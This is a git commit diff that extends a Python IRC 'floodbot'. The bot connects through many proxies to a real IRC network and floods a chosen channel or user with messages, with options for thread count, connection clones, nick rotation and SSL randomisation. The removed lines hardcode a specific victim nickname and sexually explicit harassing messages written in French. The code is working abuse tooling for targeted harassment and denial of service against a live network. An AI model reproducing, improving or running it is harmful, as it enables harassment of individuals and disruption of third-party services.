add options to floodbot

This commit is contained in:
Your Name
2021-04-26 01:53:38 +02:00
parent f9200a99f4
commit 3f7ec14931
2 changed files with 49 additions and 17 deletions

View File

@@ -51,3 +51,14 @@ class Config(ComboParser):
self.add_item(section, 'query', str, 'psw', 'build query using Proxies, Search, Websites', False)
self.aparser.add_argument("--file", help="import a single file containing proxy addrs", type=str, default='', required=False)
section = 'flood'
self.add_item(section, 'server', str, 'irc.epiknet.org', 'irc server address', True)
self.add_item(section, 'message', str, 'default message', 'message', True)
self.add_item(section, 'target', str, '#flood', 'target to flood (default: #flood)', False)
self.add_item(section, 'threads', int, 1, '# of threads', False)
self.add_item(section, 'max_time', int, 180, 'maximum time to run (default: 180secs)', False)
self.add_item(section, 'use_ssl', int, 2, 'Use ssl? (0: false, 1: true, 2: random) - default: 2', False)
self.add_item(section, 'change_nick', int, 0, 'Change nick between messages (useful when flooding privates) - default: 0', False)
self.add_item(section, 'use_timeout', int, 0, 'make connexions quit through timeout (default: false)', False)
self.add_item(section, 'clones', int, 1, 'Number of connexion repeat to run - default: 1', False)

View File

@@ -52,22 +52,43 @@ def socks4_resolve(srvname, server_port):
def flood(sock):
nick = random.choice(nicklist)
msgs = [ "coucou c'est papa, pourquoi tu m'ignores?", "c'est papa, pourquoi tu es partie?", "gniagniagnia harcelement", "arrete de geindre", "coucou tu veux voir ma bite? (ps: c'est papa)" ]
#msgs = [ "coucou c'est papa, pourquoi tu m'ignores?", "c'est papa, pourquoi tu es partie?", "gniagniagnia harcelement", "arrete de geindre", "coucou tu veux voir ma bite? (ps: c'est papa)" ]
msgs = config.flood.message.split(';')
sock.send('NICK %s\nUSER %s %s localhost :%s\n' %(nick, nick, nick, nick))
ticks = time.time()
sent_ping = False
while True:
if config.flood.max_time > 0:
if (time.time() - ticks) > config.flood.max_time: break
recv = sock.recvline()
print(recv.strip())
if not len(recv): return
elif 'Proxy/Drone' in recv or 'contact kline@' in recv: return
elif recv.startswith('ERROR'): return
if not len(recv): break
elif 'Proxy/Drone' in recv or 'contact kline@' in recv: break
elif recv.startswith('ERROR'): break
elif recv.startswith('PING'):
if config.flood.use_timeout:
if sent_ping: continue
sock.send( recv.replace('PING', 'PONG'))
#elif ' 001 ' in recv: sock.send('JOIN #BDSM\r\nPRIVMSG #BDSM :lila: %s\r\nPRIVMSG lila :%s\r\n' %(random.choice(msgs), random.choice(msgs)))
elif ' 001 ' in recv:
for i in range(3): sock.send('PRIVMSG lila :%s\r\nNICK %s\r\n' %random.choice(msgs), random.choice(nicklist))
elif ' 433 ' in recv: sock.send('NICK %s\r\n' % random.choice(nicknames))
sent_ping = True
else:
_split = recv.split(' ')
# irc welcome message
if _split[1] == '001':
# target is a chan
if '#' in config.flood.target or '%' in config.flood.target or '%' in config.flood.target:
sock.send('JOIN %s\r\n' % config.flood.target)
if config.flood.change_nick:
for i in range(3): sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(config.flood.target, random.choice(msgs), random.choice(nicklist)))
else:
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs)))
# nick already used
elif _split[1] == '433':
sock.send('NICK %s\r\n' % random.choice(nicknames))
sock.disconnect()
return
@@ -83,10 +104,9 @@ class WorkerJob():
self.isoldies = oldies
def connect_socket(self):
srvname = random.choice(config.servers).strip()
srvname = 'irc.epiknet.org'
srvname = config.flood.server
protos = ['http', 'socks5', 'socks4'] if self.proto is None else [self.proto]
use_ssl = random.choice([0,1]) if config.watchd.use_ssl == 2 else config.watchd.use_ssl
use_ssl = random.choice([0,1]) if config.flood.use_ssl == 2 else config.flood.use_ssl
server_port = 6697 if use_ssl else 6667
fail_inc = 1
@@ -131,7 +151,7 @@ class WorkerJob():
elif fp == 0 and \
err == rocksock.RS_E_TARGET_CONN_REFUSED:
fail_inc = 0
if random.randint(0, (config.watchd.threads-1)/2) == 0:
if random.randint(0, (config.flood.threads-1)/2) == 0:
_log("could not connect to proxy 0, sleep 5s", "ERROR")
time.sleep(5)
elif et == rocksock.RS_ET_GAI:
@@ -313,7 +333,7 @@ class Proxywatchd():
args.append( (job.failcount, job.checktime, 1, job.country, job.proto, job.success_count, job.total_duration, job.proxy) )
ret = False
_log("updating %d DB entries (success rate: %.2f%%)"%(len(self.collected), success_rate), 'watchd')
_log("success rate: %.2f%%"%(len(self.collected), success_rate), 'flood')
#self._prep_db()
#query = 'UPDATE proxylist SET failed=?,tested=?,dronebl=?,country=?,proto=?,success_count=?,total_duration=? WHERE proxy=?'
#self.mysqlite.executemany(query, args)
@@ -325,7 +345,7 @@ class Proxywatchd():
return ret
def start(self):
if config.watchd.threads == 1 and _run_standalone:
if config.flood.threads == 1 and _run_standalone:
return self._run()
else:
return self._run_background()
@@ -342,9 +362,9 @@ class Proxywatchd():
def _run(self):
_log('starting...', 'watchd')
for i in range(config.watchd.threads):
for i in range(config.flood.threads):
# XXX: multiplicator
for i in range(3):
for i in range(config.flood.clones):
threadid = ''.join( [ random.choice(string.letters) for x in range(5) ] )
wt = WorkerThread(threadid)
if self.in_background:
@@ -408,7 +428,8 @@ if __name__ == '__main__':
_run_standalone = True
config.load()
config.watchd.threads = 15
#config.flood.threads = config.flood.threads * config.flood.clones
w = Proxywatchd()
try: